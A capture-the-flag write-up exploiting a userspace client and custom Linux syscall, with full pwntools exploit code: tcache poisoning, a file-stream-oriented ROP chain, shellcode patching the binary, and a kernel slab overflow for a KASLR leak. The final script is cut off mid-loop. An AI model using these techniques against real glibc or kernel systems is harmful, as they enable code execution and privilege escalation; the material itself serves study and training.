Really interesting challenge that I didn’t get to solve during the CTF since I spent most of my time on another challenge, ponbaby, which I ended up blooding. After the CTF I spent some time on this and it turned out to be pretty fun, so I figured I’d write it up.
The challenge has two components: a userspace client (client.c) and a custom piccall syscall (1337). The objective is to first get code execution in userland and then privesc to root.
Examining the provided files
$ ls -latotal 14108drwxr-xr-x 2 kali kali 4096 Mar 28 06:41 .drwxrwxr-x 3 kali kali 4096 Apr 1 00:27 ..-rw-r--r-- 1 kali kali 11718848 Mar 28 14:11 bzImage-rw-r--r-- 1 kali kali 247 Mar 28 06:40 docker-compose.yml-rw-r--r-- 1 kali kali 859 Mar 28 06:40 Dockerfile-rw-r--r-- 1 kali kali 19 Mar 28 06:40 flag.txt-rw-r--r-- 1 kali kali 2694142 Mar 28 06:40 initramfs.cpio.gz-rwxr-xr-x 1 kali kali 318 Mar 28 06:40 run.sh-rw-r--r-- 1 kali kali 126 Mar 28 06:40 setup_jail.sh
Let’s extract initramfs.cpio.gz to see what we’re working with:
$ mkdir root$ cd root$ zcat ../*.cpio.gz | cpio -idmv > /dev/null 2>&1$ ls -latotal 2264drwxrwxr-x 10 kali kali 4096 Apr 1 00:29 .drwxr-xr-x 3 kali kali 4096 Apr 1 00:29 ..drwxrwxr-x 2 kali kali 4096 Mar 27 21:21 bin-rwxr-xr-x 1 kali kali 29521 Mar 28 00:01 client-rw-r--r-- 1 kali kali 6608 Mar 28 02:21 client.cdrwxrwxr-x 2 kali kali 4096 Mar 27 21:21 devdrwxrwxr-x 5 kali kali 4096 Mar 27 21:21 etc-rwxrwxr-x 1 kali kali 456 Mar 27 08:04 init-rwxr-xr-x 1 kali kali 225600 Mar 27 23:46 ld-linux-x86-64.so.2drwxrwxr-x 2 kali kali 4096 Mar 27 21:21 liblrwxrwxrwx 1 kali kali 3 Mar 26 03:51 lib64 -> lib-rwxr-xr-x 1 kali kali 1999312 Mar 27 23:46 libc.so.6lrwxrwxrwx 1 kali kali 11 Mar 26 03:51 linuxrc -> bin/busyboxdrwxrwxr-x 2 kali kali 4096 Mar 26 03:51 rootdrwxrwxr-x 2 kali kali 4096 Mar 27 21:21 sbindrwxrwxr-x 6 kali kali 4096 Mar 27 21:21 usrdrwxrwxr-x 3 kali kali 4096 Mar 27 21:21 var
Looking at the /init script, we can see that it executes /client after it’s done booting up:
So we interact with /client directly. Dumping the seccomp filter shows that only read, write, brk, mprotect, and the custom syscall 1337 (piccall) are allowed:
$ seccomp-tools dump ./client line CODE JT JF K================================= 0000: 0x20 0x00 0x00 0x00000000 A = sys_number 0001: 0x15 0x00 0x01 0x00000000 if (A != read) goto 0003 0002: 0x06 0x00 0x00 0x7fff0000 return ALLOW 0003: 0x15 0x00 0x01 0x00000001 if (A != write) goto 0005 0004: 0x06 0x00 0x00 0x7fff0000 return ALLOW 0005: 0x15 0x00 0x01 0x0000000c if (A != brk) goto 0007 0006: 0x06 0x00 0x00 0x7fff0000 return ALLOW 0007: 0x15 0x00 0x01 0x0000000a if (A != mprotect) goto 0009 0008: 0x06 0x00 0x00 0x7fff0000 return ALLOW 0009: 0x15 0x00 0x01 0x00000539 if (A != 1337) goto 0011 0010: 0x06 0x00 0x00 0x7fff0000 return ALLOW 0011: 0x06 0x00 0x00 0x00000000 return KILL
The handler of piccall syscall is __x64_sys_piccall which is a wrapper for __do_sys_piccall:
To debug the kernel, add -s to the qemu-system-x86_64 command in ./run.sh. This exposes a GDB stub that you can connect to with target remote localhost:1234. After that, you can use ksymaddr-remote-apply from gef-bata.
To setup gef-bata just download gef.py and add this to ~/.gdbinit:
You can decompile the __do_sys_piccall by first extracting vmlinux from bzImage using this script and then opening it with in a decompiler of your choice!
$ extract-vmlinux bzImage > vmlinuxextract-vmlinux: Extracted vmlinux using 'unzstd' from offset 21197
Since ghidra takes a while to analyze vmlinux file, I’ve attached the cleaned-up decompilation of the handler here (thanks claude!) for convenience:
struct pic_chunk { struct pic_chunk *next; uint64_t len; uint64_t reserved; uint8_t data[0x100];};struct pic { uint32_t id; uint32_t _pad; uint64_t _unused; struct pic_chunk *chunks; struct pic *list_next; struct pic *list_prev;};struct pic_view_req { uint32_t id; uint32_t count; uint8_t *buf;};__int64 __fastcall _do_sys_piccall(int op, unsigned __int64 size, __int64 user_ptr){ struct pic *pic, *cur; struct pic_chunk *chunk, *it, *tmp; struct pic_view_req view; uint32_t magic; if ( !chunk_cache ) { chunk_cache = kmem_cache_create("pic_chunk_cache", 0x118, 0, SLAB_HWCACHE_ALIGN, NULL); if ( !chunk_cache ) return -ENOMEM; } if ( size > 0x2000 ) return -EINVAL; if ( op == PIC_CREATE ) { if ( size <= 3 ) return -EINVAL; if ( copy_from_user(&magic, user_ptr, 4) ) return -EFAULT; if ( magic != PIC_MAGIC ) return -EINVAL; pic = kmalloc(sizeof(struct pic), GFP_KERNEL); if ( !pic ) return -ENOMEM; pic->id = next_id++; pic->chunks = NULL; struct pic_chunk **tail = &pic->chunks; uint64_t off = 4, next_off = 20; while ( size > 0x13 ) { chunk = kmem_cache_alloc(chunk_cache, GFP_KERNEL); if ( !chunk ) { free_pic(pic); return -ENOMEM; } if ( copy_from_user(&chunk->len, user_ptr + off, 8) || copy_from_user(&chunk->reserved, user_ptr + off + 8, 8) || copy_from_user(chunk->data, user_ptr + off + 16, chunk->len) ) { kmem_cache_free(chunk_cache, chunk); free_pic(pic); return -EFAULT; } chunk->next = NULL; *tail = chunk; tail = &chunk->next; off = next_off + chunk->len; next_off = off + 16; if ( size < off + 16 ) break; } pic->list_next = pic_list; pic_list = pic; return pic->id; } if ( op == PIC_DELETE ) { for ( cur = pic_list; cur; cur = cur->list_next ) { if ( cur->id != (uint32_t)user_ptr ) continue; it = cur->chunks; while ( it ) { tmp = it; it = it->next; kmem_cache_free(chunk_cache, tmp); } kfree(cur); return 0; } return -EINVAL; } if ( op == PIC_VIEW ) { if ( size != sizeof(struct pic_view_req) ) return -EINVAL; if ( copy_from_user(&view, user_ptr, sizeof(view)) ) return -EFAULT; for ( cur = pic_list; cur; cur = cur->list_next ) { if ( cur->id != view.id ) continue; uint64_t written = 0; for ( it = cur->chunks; it; it = it->next ) { if ( copy_to_user(view.buf + written, it->data, it->len) ) return -EFAULT; written += it->len; } return written; } return 0; } return 0;}
Examining the source code
The client manages a list of pic_t objects which is defined as:
pics is the array of pointers to pic_t objects, csize is the current capacity of that array, and counter is the number of active pic_t objects. The main function just runs an infinite menu loop and dispatches to add_pic, delete_pic, or view_pic.
The custom syscall handler maintains its own structures.
The kernel allocates pic_chunk objects from a dedicated slub cache chunk_cache with object size 0x118 with 12 objects per slab. A global pic_list linked list tracks all active pic objects, each of which owns a fifo singly linked list of pic_chunk objects holding the raw pixel data.
add_pic
add_pic() starts by reading a name length and allocating a pic_t of size len+0xc+1 on the heap, then reads the name as hex bytes into the inline name[] field. After that it reads the raw pixel data whose structure looks like this:
This pixel data is then validated by check_pic() which walks the structure above and enforces that each chunk_data_size doesn’t exceed MAX_PIXELS (0x100). Finally it asks whether to save the pic in the kernel — if yes it calls PIC_CREATE and stores the returned id, otherwise it just uses counter as the id. Either way the pic_t is inserted into the pics array and sorted via merge sort.
void add_pic() { uint32_t len, pic_len; int iss = 0; char data[0x2000] = {0}; printf("name len: "); scanf("%u%*c", &len); if (len >= MAX_NAME) { puts("err"); return; } pic_t *pic = malloc(sizeof(pic_t) + len + 1); pic->len = len; printf("name: "); for (uint32_t i = 0; i < len; i++) if (scanf("%02hhx", &pic->name[i]) != 1) exit(1); printf("pic len: "); scanf("%u%*c", &pic_len); if (pic_len > 0x2000 || pic_len == 0) exit(1); printf("pic: "); for (uint32_t i = 0; i < pic_len; i++) if (scanf("%02hhx", &data[i]) != 1) exit(1); if (check_pic(data, pic_len)) { puts("invalid"); return; } printf("save pic? "); scanf("%d%*c", &iss); pic->id = iss ? syscall(SYS_PICCALL, PIC_CREATE, pic_len, data) : counter; pic->index = counter; link_pic(pic);}
On the kernel side PIC_CREATE first checks for the magic bytes, allocates a pic, then iterates over the pixel data copying each chunk header and payload into a freshly allocated chunk_cache slab object:
if ( op == PIC_CREATE ) { if ( size <= 3 ) return -EINVAL; if ( copy_from_user(&magic, user_ptr, 4) ) return -EFAULT; if ( magic != PIC_MAGIC ) return -EINVAL; pic = kmalloc(sizeof(struct pic), GFP_KERNEL); if ( !pic ) return -ENOMEM; pic->id = next_id++; pic->chunks = NULL; struct pic_chunk **tail = &pic->chunks; uint64_t off = 4, next_off = 20; while ( size > 0x13 ) { chunk = kmem_cache_alloc(chunk_cache, GFP_KERNEL); if ( !chunk ) { free_pic(pic); return -ENOMEM; } if ( copy_from_user(&chunk->len, user_ptr + off, 8) || copy_from_user(&chunk->reserved, user_ptr + off + 8, 8) || /* copies chunk->len bytes into a 0x100 byte buffer */ copy_from_user(chunk->data, user_ptr + off + 16, chunk->len) ) { kmem_cache_free(chunk_cache, chunk); free_pic(pic); return -EFAULT; } chunk->next = NULL; *tail = chunk; tail = &chunk->next; off = next_off + chunk->len; next_off = off + 16; if ( size < off + 16 ) break; } pic->list_next = pic_list; pic_list = pic; return pic->id;}
Notice that the kernel blindly trusts chunk->len from userspace when copying into chunk->data which is only 0x100 bytes. The only thing standing between us and a heap overflow into the next slab object is check_pic running in userland. If we can bypass it we can supply an arbitrary chunk->len and overflow the chunk_cache slab object.
link_pic also calls sort_pic after every insertion which uses a buggy merge sort implementation. sort_r() reads one too many value when filling the right subarray:
void sort_r(uint32_t l, uint32_t m, uint32_t r) { uint32_t n1 = m - l + 1; uint32_t n2 = r - m + 1; if (n1 == 0 || n2 == 0) return; pic_t **L = malloc(n1 * sizeof(pic_t*) + 8); if (L == NULL) return; pic_t **R = malloc(n2 * sizeof(pic_t*) + 8); if (R == NULL) { if (L) free(L); return; } for (uint32_t i = 0; i < n1; i++) { if (pics[l + i] != NULL) L[i] = pics[l + i]; else n1--; } for (uint32_t j = 0; j < n2; j++) { if (pics[m + 1 + j] != NULL) { R[j] = pics[m + 1 + j]; } else { n2--; } } uint32_t i = 0; uint32_t j = 0; uint32_t k = l; while (i < n1 && j < n2) { if (L[i]->index <= R[j]->index) { pics[k] = L[i]; i++; } else { pics[k] = R[j]; j++; } k++; } while (i < n1) pics[k++] = L[i++]; while (j < n2) pics[k++] = R[j++]; free(L); free(R);}
To understand the vulnerability let’s trace through the merge sort with an example. If we create three pic_t objects A, B, C then pics becomes [A, B, C] and counter becomes 3. If we delete A and B then pics becomes [0, 0, C].
Now when we create another pic_t object D, link_pic finds the first NULL slot and stores D there, making pics = [D, 0, C]. It then compacts the array by removing NULL slots:
After compaction pics becomes [D, C, C] and counter becomes 2. Notice that link_pic only shifts non-NULL pointers forward without zeroing out the vacated slots, leaving a stale pointer to C at index 2.
Now link_pic calls sort_pic(0, counter-1) which is sort_pic(0, 1):
sort_pic(0, 1): m = 0 + (1-0)/2 = 0 sort_pic(0, 0) -> l < r -> 0 < 0 -> false -> return sort_pic(1, 1) -> l < r -> 1 < 1 -> false -> return sort_r(0, 0, 1)
Inside sort_r(l=0, m=0, r=1), n1 and n2 are computed as:
n1 = m - l + 1 = 1n2 = r - m + 1 = 2
n2 is 2 but there is only one valid entry past m, so the R-fill loop will read out of bounds. The L and R arrays are filled as:
delete_pic() reads an index, validates it against counter, then asks whether to also delete the corresponding kernel object. If yes it calls PIC_DELETE with the pic’s id before freeing the userspace pic_t and zeroing the slot in pics.
void delete_pic() { uint32_t index; int iss = 0; printf("index: "); scanf("%d%*c", &index); if (index >= counter || pics[index] == NULL) { puts("invalid"); return; } printf("delete pic? "); scanf("%d%*c", &iss); if (iss) syscall(SYS_PICCALL, PIC_DELETE, pics[index]->id); free(pics[index]); pics[index] = 0;}
On the kernel side PIC_DELETE walks pic_list to find the matching id, unlinks it, then frees each chunk via kmem_cache_free and the pic via kfree:
if ( op == PIC_DELETE ) { for ( cur = pic_list; cur; cur = cur->list_next ) { if ( cur->id != (uint32_t)user_ptr ) continue; it = cur->chunks; while ( it ) { tmp = it; it = it->next; kmem_cache_free(chunk_cache, tmp); } kfree(cur); return 0; } return -EINVAL;}
Looking at the kernel handler __do_sys_piccall(int op, unsigned __int64 size, __int64 user_ptr), PIC_DELETE compares the pic id against user_ptr which is the 3rd kernel argument. The client calls syscall(SYS_PICCALL, PIC_DELETE, pics[index]->id) which puts the id as the 3rd argument to syscall() — this maps to rdx in the calling convention, which the syscall wrapper forwards as size (2nd kernel argument), not user_ptr. So the kernel compares against zero and never finds the pic. To fix this we patch the binary: change mov edx, eax (which puts the id into rdx) to mov ecx, eax, making it the 4th argument to syscall() — which maps to rcx, forwarded as rdx, and correctly lands in user_ptr.
view_pic
view_pic() reads an index, validates it, then asks whether to actually view the kernel-side data. If yes it calls PIC_VIEW with a pic_view_req containing the pic id, a local output buffer, and a user-controlled count field. The returned bytes are written directly to stdout.
void view_pic() { view_t view; uint32_t index = 0; uint8_t buf[0x2000] = {0}; printf("index: "); scanf("%u%*c", &index); if (index >= counter || pics[index] == NULL) return; view.id = pics[index]->id; view.buf = buf; int iss = 0; printf("view pic? "); scanf("%d%*c", &iss); if (iss) { printf("count: "); scanf("%d%*c", &view.count); if (view.count > 0x2000) return; off_t s = syscall(SYS_PICCALL, PIC_VIEW, sizeof(view), &view); if (s <= 0 || s > 0x2000) { puts("err"); return; } write(1, buf, s); } printf("\nindex: %u, id: %u, name: %s\n", pics[index]->index, pics[index]->id, pics[index]->name);}
On the kernel side PIC_VIEW walks pic_list to find the matching id, then copies chunk->len bytes from each chunk’s data buffer back to userspace:
if ( op == PIC_VIEW ) { if ( size != sizeof(struct pic_view_req) ) return -EINVAL; if ( copy_from_user(&view, user_ptr, sizeof(view)) ) return -EFAULT; for ( cur = pic_list; cur; cur = cur->list_next ) { if ( cur->id != view.id ) continue; uint64_t written = 0; for ( it = cur->chunks; it; it = it->next ) { /* uses stored chunk->len — OOB read if inflated */ if ( copy_to_user(view.buf + written, it->data, it->len) ) return -EFAULT; written += it->len; } return written; } return 0;}
Crucially the kernel uses the stored chunk->len field rather than the count from the request struct. So if we inflate chunk->len via the heap overflow, PIC_VIEW will read past the end of the chunk data leaking adjacent slab contents.
Exploitation
Now that we understand the setup we can start writing the exploit.
We have two bugs: the sort_r out of bound read which gives us a read-after-free/double free primitive, and kernel heap overflow via PIC_CREATE which copies user specified number of bytes into fixed size buffer. The only thing gating the kernel overflow is check_pic() function, so the first order of business is getting userspace code execution to patch it out.
First we allocate 5 chunks and free them so that when we allocate again later they come back in reverse order — this matters for the heap layout we need to set up later:
for i in range(5): make(name=b'A'*0x60)for i in range(5): free(i)
Now we trigger the sort_r out of bound (already covered) to get a double reference to the same chunk, then read the mangled tcache fd pointer out of the freed chunk via the dangling pics[0] reference. Demangling it gives us the heap base:
# https://github.com/shellphish/how2heap/blob/master/glibc_2.36/decrypt_safe_linking.c#L5def demangle(v): m = 0xfff << 52 while m: v ^= (v & m) >> 12; m >>= 12 return vfor i in range(3): make(name=b'A'*0x60)free(0)free(1)make(name=b'A'*0x60)free(1)lo, up, _ = view(0)heap_base = (demangle(up<<32|lo)>>12)<<12log.info(hex(heap_base))
Notice we now have a read-after-free/double-free on 0x55de7b762430 and there is a free chunk sitting right before it at 0x55de7b7623b0. The initial 5 allocations + frees were specifically to ensure we have a chunk we control adjacent to our UAF target — without that setup we’d lose control of that neighbor.
Now we allocate 9 more chunks:
for i in range(7+2): make(name=b'A'*0x60)
The two chunks in yellow are the double reference and the chunk in brown is the neighbor just before them. We want these two to consolidate to get a libc leak and to also get overlapping chunks. To do this we fill tcache with 7 frees, then free the two target chunks into the fastbin, then send a large input to scanf — this triggers an internal large allocation and free which calls malloc_consolidate, consolidating the fastbin chunks and the resultant chunk gets sorted into the smallbin.
''' fill tcache '''for i in range(4, 10): free(i)free(2)''' free chunks into tcache '''free(3)free(1)''' large input to scanf results in large allocation & free -> malloc_consolidate '''io.sendlineafter(b"choice: ", b"2")io.sendlineafter(b"index: ", b'1'*0xfff)''' get libc leak '''lo, up, _ = view(0)libc.address = (up<<32|lo) - 0x1e6b20log.info(hex(libc.address))
Now we need to get arbitrary allocation but there’s a catch — pic_t occupies the first 0xc bytes of the chunk data, so we don’t control the first 0xc bytes of any allocation. The plan is to create two overlapping chunks so that we can control the fd of a tcache chunk through the overlapping one.
We break the consolidated 0x100 chunk into a 0xa0 and a 0x60 piece by allocating in a way that forces the heap to remainder it. The 0x81 size field we embed in the name acts as a fake chunk header of the +0x430 chunk we still have reference to.
0x5634c093a8c0 0x3131313131313131 0x0000000000020741 11111111A....... <-- Top chunk
Now we free the standalone 0x60 (idx 10), then free the overlapped 0x60 (idx 2), then free the 0x80 (idx 1) which overlaps it. This gives us two entries in tcachebins[0x60] and one in tcachebins[0x80]:
Now we allocate the 0x80 chunk (which overlaps the first 0x60 tcache entry) and overwrite fd pointer to _IO_list_all-0x10 (mangled). After that just allocate on twice where the second allocation returns _IO_list_all-0x10 and you get write on _IO_list_all-0x4 and overwrite it to heap memory where we will place the fake file structure.
Now that _IO_list_all points to heap memory we can write fake file struct there that when triggered in exit->__run_exit_handlers->_IO_cleanup->_IO_flush_all pivots into a rop chain that basically mprotect’s heap page where we placed our shellcode to rwx and jump to it!
'''0x0014acdc: push rax; pop rsp; lea rsi, [rax+0x48]; mov rax, [rdi+8]; jmp qword ptr [rax+0x18]0x001547be: add rsp, 0x110; pop rbx; pop rbp; pop r12; ret;0x0011ecf7: syscall; ret;0x0016032d: pop rsi; ret;0x00189481: pop rdi; ret;0x0011266f: pop rax; ret;0x00160234: pop rdx; pop rbx; ret;0x0015f4d9: pop rsp; ret;'''fs = flat({ 0x00: b' sh', 0x08: p64(heap_base+0x9c0+0x10-0x18), 0x10: p64(libc.address+0x1547be), 0x20: p64(0), 0x28: p64(1), 0x88: p64(libc.address+0x1e87a0), 0xa0: p64(heap_base+0x9c0+0xe0), 0xc0: p64(0), 0xd8: p64(libc.sym._IO_wfile_jumps), 0xe0+0x18: p64(0), 0xe0+0x30: p64(0), 0xe0+0xe0: p64(heap_base+0x9c0+0xe0+0xe8-0x68), 0xe0+0xe8: p64(libc.address+0x14acdc),}, filler=b'\x00')rop = flat([ libc.address+0x189481, heap_base+0x1000, libc.address+0x16032d, 0x1000, libc.address+0x160234, 7, 0, libc.address+0x11266f, 10, libc.address+0x11ecf7, libc.address+0x15f4d9, heap_base+0x1010])
I’m using _IO_wfile_overflow->_IO_wdoallocbuf->_IO_WDOALLOCATE chain which you can read more about here. _IO_WDOALLOCATE basically calls fp->_wide_data->_wide_vtable->__doallocate which we have set to the following rop gadget:
So, it basically sets rsp to _wide_data->_wide_vtable and jumps to [_wide_data->_wide_vtable+0x8]+0x18 which in this case is add rsp, 0x110; pop rbx; pop rbp; pop r12; ret; which returns to +0x110+0x18 where we have placed our rop chain that jumps to shellcode.
The shellcode basically mprotect’s binary’s .text section, writes stack & binary leak to stdout and patches some functions:
check_pic() at offset +0x18a9 — patched to xor eax, eax; ret so it always returns 0, unlocking the kernel heap overflow.
delete_pic() at offset +0x1d7c — patched from mov edx, eax to mov ecx, eax so the pic id lands in the correct argument position for PIC_DELETE (covered earlier).
view_pic() — the local buffer and all stack offsets use -0x20XX displacement in their immediates; every 0x20 byte is swapped to 0xf0 throughout the function, expanding the buffer from 0x2000 to 0xf000 bytes. This covers both the cmp eax, 0x2000 limit checks (input validation and return value) and all [rbp-0x20XX] stack accesses, giving enough headroom to read across multiple slab objects for the kaslr leak.
sort_r() — patch add eax, 0x1 at +0x13d4 (the +1 in n2 = r - m + 1) from 0x1 to 0x0, making n2 = r - m to remove the out of bound since we no longer need it.
main() — overwrite the leave; ret instruction with shellcode that opens, reads and writes /dev/sda (this will run when we exit)
After patching it pivots back into the binary’s main loop to resume normal operation:
So, exit()->__run_exit_handlers->_IO_cleanup->_IO_flush_all->_IO_wfile_overflow->_IO_wdoallocbuf->_IO_WDOALLOCATE->fp->_wide_data->_wide_vtable->__doallocate is called which pivots to the rop chain and the rop chain mprotect’s the heap as rwx and jumps to it! The shellcode patches out the functions listed above and returns back to the main menu loop! With check_pic() neutralized in userspace, we can now leverage the PIC_CREATE heap overflow to achieve prives.
Leaking kernel base
Before we move into this part let’s make some changes to our exploit script. Basically as now we are moving into the kernel exploitation part we have to launch run.sh and attaches gdb to the kernel so, after changes our exploit script becomes:
#!/usr/bin/env python3from pwn import *exe = context.binary = ELF(args.EXE or './client')libc = ELF('./libc.so.6')def make(name=None, data=p32(0x13379001), iss=0): if name is None: name = os.urandom(0x10) io.sendlineafter(b"choice: ", b"1") io.sendlineafter(b"name len: ", str(len(name)).encode()) io.sendlineafter(b"name: ", name.hex().encode()) io.sendlineafter(b"pic len: ", str(len(data)).encode()) io.sendlineafter(b"pic: ", data.hex().encode()) io.sendlineafter(b"save pic? ", str(iss).encode())def free(idx, iss=0): io.sendlineafter(b"choice: ", b"2") io.sendlineafter(b"index: ", str(idx).encode()) io.sendlineafter(b"delete pic? ", str(iss).encode())def view(idx, iss=0, count=0): io.sendlineafter(b"choice: ", b"3") io.sendlineafter(b"index: ", str(idx).encode()) io.sendlineafter(b"view pic? ", str(iss).encode()) if iss: io.sendlineafter(b"count: ", str(count).encode()) io.recvuntil(b'index: ') m = re.search(rb"(\d+), id: (\d+), name: (.+)", io.recvline()) if not m: return None, None, None return int(m.group(1)), int(m.group(2)), m.group(3).strip()def demangle(v): m = 0xfff << 52 while m: v ^= (v & m) >> 12; m >>= 12 return vgdbscript = '''init-pwndbgc'''.format(**locals())io = process(["/bin/sh", "./run.sh"])for i in range(5): make(name=b'A'*0x60)for i in range(5): free(i)for i in range(3): make(name=b'A'*0x60)free(0)free(1)make(name=b'A'*0x60)free(1)lo, up, _ = view(0)heap_base = (demangle(up<<32|lo)>>12)<<12log.info(hex(heap_base))for i in range(7+2): make(name=b'A'*0x60)for i in range(4, 10): free(i)free(2)free(3)free(1)io.sendlineafter(b"choice: ", b"2")io.sendlineafter(b"index: ", b'1'*0xfff)lo, up, _ = view(0)libc.address = (up<<32|lo) - 0x1e6b20log.info(hex(libc.address))make(name=b'A'*0x6c+p64(0x80|1)+b'A'*8)make(name=b'A'*0x40)for i in range(7): make(name=b'A'*0x60)make(name=b'A'*0x40)free(10)free(2)free(1)make(name=(b'A'*(4+8)+p64(0x60|1)+p64((libc.sym._IO_list_all-0x10)^(heap_base>>12))).ljust(0x60, b'\x00'))make(name=b'A'*0x40)make(name=(b'A'*4+p64(heap_base+0x9c0)).ljust(0x40, b'\x00'))'''0x0014acdc: push rax; pop rsp; lea rsi, [rax+0x48]; mov rax, [rdi+8]; jmp qword ptr [rax+0x18]0x001547be: add rsp, 0x110; pop rbx; pop rbp; pop r12; ret;0x0011ecf7: syscall; ret;0x0016032d: pop rsi; ret;0x00189481: pop rdi; ret;0x0011266f: pop rax; ret;0x00160234: pop rdx; pop rbx; ret;0x0015f4d9: pop rsp; ret;'''fs = flat({ 0x00: b' sh', 0x08: p64(heap_base+0x9c0+0x10-0x18), 0x10: p64(libc.address+0x1547be), 0x20: p64(0), 0x28: p64(1), 0x88: p64(libc.address+0x1e87a0), 0xa0: p64(heap_base+0x9c0+0xe0), 0xc0: p64(0), 0xd8: p64(libc.sym._IO_wfile_jumps), 0xe0+0x18: p64(0), 0xe0+0x30: p64(0), 0xe0+0xe0: p64(heap_base+0x9c0+0xe0+0xe8-0x68), 0xe0+0xe8: p64(libc.address+0x14acdc),}, filler=b'\x00')rop = flat([ libc.address+0x189481, heap_base+0x1000, libc.address+0x16032d, 0x1000, libc.address+0x160234, 7, 0, libc.address+0x11266f, 10, libc.address+0x11ecf7, libc.address+0x15f4d9, heap_base+0x1010])sc = b''sc += asm('nop')*0x20sc += asm(f''' mov rax, qword ptr [rsp] mov rax, qword ptr [rax] sub rax, 208 mov r12, rax mov rax, qword ptr [rax] sub rax, 0x4d40 add rax, 0x1000 mov r13, rax mov rdi, r13 mov rsi, 0x2000 mov rdx, 7 mov rax, 10 syscall mov rdi, 1 mov rsi, qword ptr [rsp] mov rdx, 0x8 mov rax, 1 syscall mov qword ptr [rsp], r13 lea rsi, qword ptr [rsp] mov rdx, 0x8 mov rax, 1 syscall mov rax, r13 add rax, 0x8a9 mov rdi, rax mov byte ptr [rdi], 0x48 mov byte ptr [rdi+1], 0x31 mov byte ptr [rdi+2], 0xc0 mov byte ptr [rdi+3], 0xc3 mov rax, r13 add rax, 0x3d4 mov rdi, rax mov byte ptr [rdi], 0x0 mov rax, r13 add rax, 0xdcc mov rdi, rax {"".join([f"mov byte ptr [rdi+{hex(x)}], 0xf0;" for x in [0x08, 0x15f, 0x1a4]])} {"".join([f"mov byte ptr [rdi+{hex(x)}], 0x0f;" for x in [0x1d,0x28,0x53,0x70,0x8f,0xb1,0xc6,0xcd,0xd4,0xda,0xf9,0x116,0x139,0x15a,0x16c,0x18f,0x196,0x1a0,0x1c1,0x1c8,0x1e2,0x1ff,0x21b]])} mov rax, r13 add rax, 0xd7c mov rdi, rax mov byte ptr [rdi], 0x89 mov byte ptr [rdi+1], 0xc1 mov rax, r13 add rax, 0x1188 mov rdi, rax {"".join([f"mov byte ptr [rdi+{hex(i)}], {hex(b)};" for i, b in enumerate(asm(shellcraft.open('/dev/sda', 0) + shellcraft.read('rax', 'rsp', 0x1000) + shellcraft.write(1, 'rsp', 0x1000)))])} mov rax, r13 add rax, 0x10e8 mov rsp, r12 add rsp, 8 mov rbp, rsp sub rsp, 0x10 push rax ret''')sc = sc.ljust((len(sc)+0x1f)//0x20*0x20, b'\x90')make(name=b'A'*4+fs+b'A'*0xb8+rop+b'\x00'*0x250)make(name=(b'A'*(0x64+144)+p64(heap_base+0x1020)+p64(libc.sym.environ)+sc).ljust(0x500, b'\x00'))io.sendlineafter(b"choice: ", b"4")sleep(1)io.recvline()stack = u64(io.recv(8))exe.address = u64(io.recv(8)) - 0x1000log.info(f'{stack = :#014x}')log.info(f'{exe.address = :#014x}')def make_chunk(data, pad=0): return p64(len(data)) + p64(pad) + datadef make_pic(chunks): return p32(0x13379001) + b"".join(chunks)if args.GDB and not args.REMOTE: gdbinit = tempfile.NamedTemporaryFile(mode='w', delete=False, prefix=".debug_arm64_gdbinit_") gdbinit.write(f"""init-gef-batatarget remote localhost:1234ksymaddr-remote-applyc""") gdbinit.flush() gdbinit.close() subprocess.Popen(['qterminal', '-e', 'gdb', '-q', '-x', gdbinit.name], stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)io.interactive()
Now that we have that out of the way, let’s figure out a way to leak a kernel address to bypass kaslr. The idea is to allocate 12 objects with a single chunk each to drain the slab, while each chunk overflows and overwrites the len field of the next chunk. By the end, the first chunk allocated in the slab is guaranteed to have been overflowed. So we read from that chunk to get a large over-read, then parse the data to check if we got a stable kernel leak. If we do, we calculate the kernel base and break out of the loop. Otherwise, we repeat the allocation process, which ends up allocating a fresh slab and gives us another shot at getting a leak.
kbase = 0stable_leaks = { 0x44cc0: 0x8137a0, 0xa7e50: -0xb4f9f0, 0xa7e10: -0xb4f9b0, 0x47d80: 0x8106e0, 0x939c0: 0x7c4aa0, 0x02e00: 0x855660, }leaks = []with log.progress('hunting kleak') as p: for x in range(7): p.status(f'round {x+1}/7') for i in range(12): make(data=make_pic([make_chunk(b'\x00'*0x128+p64(0)+p64(0xefff)+p64(0))]), iss=1) view(x*12, iss=1, count=0) data = io.recvuntil(b'index: ', drop=True).strip() for j in range(0, len(data)//8*8, 8): val = u64(data[j:j+8]) if val not in leaks and 0xffffffff80000000 < val < 0xffffffffc0000000: leaks.append(val) for val in leaks: l20 = val & 0xfffff if l20 in stable_leaks: kbase = val+stable_leaks[l20]-0x1858460 ; break if kbase != 0: p.success(f'{kbase = :#014x}') ; break else: continue else: p.failure('failed to get kleak')
I calculated the stable_leaks array by running the exploit ~30 times and, for each run, logging the address of pic_list to a file so we can use it as a reference. I also recorded the leaks array, and then asked claude to look for repeating kernel addresses across runs that we can use to reliably recover kbase.
We can move all of the current code in a while loop:
#!/usr/bin/env python3from pwn import *exe = context.binary = ELF(args.EXE or './client')libc = ELF('./libc.so.6')def start(argv=[], *a, **kw): if args.GDB: return gdb.debug([exe.path] + argv, gdbscript=gdbscript, *a, **kw) else: return process([exe.path] + argv, *a, **kw)def make(name=None, data=p32(0x13379001), iss=0): if name is None: name = os.urandom(0x10) io.sendlineafter(b"choice: ", b"1") io.sendlineafter(b"name len: ", str(len(name)).encode()) io.sendlineafter(b"name: ", name.hex().encode()) io.sendlineafter(b"pic len: ", str(len(data)).encode()) io.sendlineafter(b"pic: ", data.hex().encode()) io.sendlineafter(b"save pic? ", str(iss).encode())def free(idx, iss=0): io.sendlineafter(b"choice: ", b"2") io.sendlineafter(b"index: ", str(idx).encode()) io.sendlineafter(b"delete pic? ", str(iss).encode())def view(idx, iss=0, count=0): io.sendlineafter(b"choice: ", b"3") io.sendlineafter(b"index: ", str(idx).encode()) io.sendlineafter(b"view pic? ", str(iss).encode()) if iss: io.sendlineafter(b"count: ", str(count).encode()) ; io.recvline() ; return io.recvuntil(b'index: ') m = re.search(rb"(\d+), id: (\d+), name: (.+)", io.recvline()) if not m: return None, None, None return int(m.group(1)), int(m.group(2)), m.group(3).strip()def demangle(v): m = 0xfff << 52 while m: v ^= (v & m) >> 12; m >>= 12 return vgdbscript = '''init-pwndbgc'''.format(**locals())while True: io = process(["/bin/sh", "./run.sh"]) for i in range(5): make(name=b'A'*0x60) for i in range(5): free(i) for i in range(3): make(name=b'A'*0x60) free(0) free(1) make(name=b'A'*0x60) free(1) lo, up, _ = view(0) heap_base = (demangle(up<<32|lo)>>12)<<12 log.info(f'{heap_base = :#014x}') for i in range(7+2): make(name=b'A'*0x60) for i in range(4, 10): free(i) free(2) free(3) free(1) 